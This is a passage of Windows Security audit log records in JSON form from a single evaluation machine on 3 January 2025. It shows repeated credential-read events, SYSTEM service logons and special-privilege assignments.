.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:25.949952Z"}},"EventRecordID":21200,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":900}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:25.951490Z"}},"EventRecordID":21201,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":900}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:02:25.951571Z"}},"EventRecordID":21202,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":900}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-21-1837475949-2032650698-3025450431-1000","SubjectUserName":"User","SubjectDomainName":"WINDEV2401EVAL","SubjectLogonId":"0x65dd3","TargetName":"MicrosoftAccount:user=02mykdeddnabzzqv","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:31.990736Z"}},"EventRecordID":21203,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:31.990741Z"}},"EventRecordID":21204,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:31.994097Z"}},"EventRecordID":21205,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:31.994102Z"}},"EventRecordID":21206,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.023696Z"}},"EventRecordID":21207,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.023743Z"}},"EventRecordID":21208,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(token):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.024107Z"}},"EventRecordID":21209,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(cert):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.072029Z"}},"EventRecordID":21210,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.072034Z"}},"EventRecordID":21211,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4624,"Version":3,"Level":0,"Task":12544,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.079624Z"}},"EventRecordID":21212,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":5,"LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"00000000-0000-0000-0000-000000000000","TransmittedServices":"-","LmPackageName":"-","KeyLength":0,"ProcessId":"0x314","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","RemoteCredentialGuard":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":4672,"Version":0,"Level":0,"Task":12548,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.079629Z"}},"EventRecordID":21213,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege"}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.346204Z"}},"EventRecordID":21214,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.346230Z"}},"EventRecordID":21215,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":852}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.346241Z"}},"EventRecordID":21216,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(token):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.346266Z"}},"EventRecordID":21217,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(token):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.346468Z"}},"EventRecordID":21218,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(cert):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.346615Z"}},"EventRecordID":21219,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":864}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"WindowsLive:(cert):name=02mrmaiylzkexzqu;serviceuri=*","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.497521Z"}},"EventRecordID":21220,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.497836Z"}},"EventRecordID":21221,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.499158Z"}},"EventRecordID":21222,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
{"Event":{"#attributes":{"xmlns":"http://schemas.microsoft.com/win/2004/08/events/event"},"System":{"Provider":{"#attributes":{"Name":"Microsoft-Windows-Security-Auditing","Guid":"54849625-5478-4994-A5BA-3E3B0328C30D"}},"EventID":5379,"Version":0,"Level":0,"Task":13824,"Opcode":0,"Keywords":"0x8020000000000000","TimeCreated":{"#attributes":{"SystemTime":"2025-01-03T21:04:32.499194Z"}},"EventRecordID":21223,"Correlation":{"#attributes":{"ActivityID":"A4C17575-5E65-0001-2E76-C1A4655EDB01"}},"Execution":{"#attributes":{"ProcessID":816,"ThreadID":7356}},"Channel":"Security","Computer":"WinDev2401Eval","Security":null},"EventData":{"SubjectUserSid":"S-1-5-18","SubjectUserName":"WINDEV2401EVAL$","SubjectDomainName":"WORKGROUP","SubjectLogonId":"0x3e7","TargetName":"MicrosoftAccount:user=02mrmaiylzkexzqu","Type":0,"CountOfCredentialsReturned":0,"ReadOperation":"%%8100","ReturnCode":3221226021,"ProcessCreationTime":"2025-01-03T21:01:09.287177Z","ClientProcessId":4752}}}
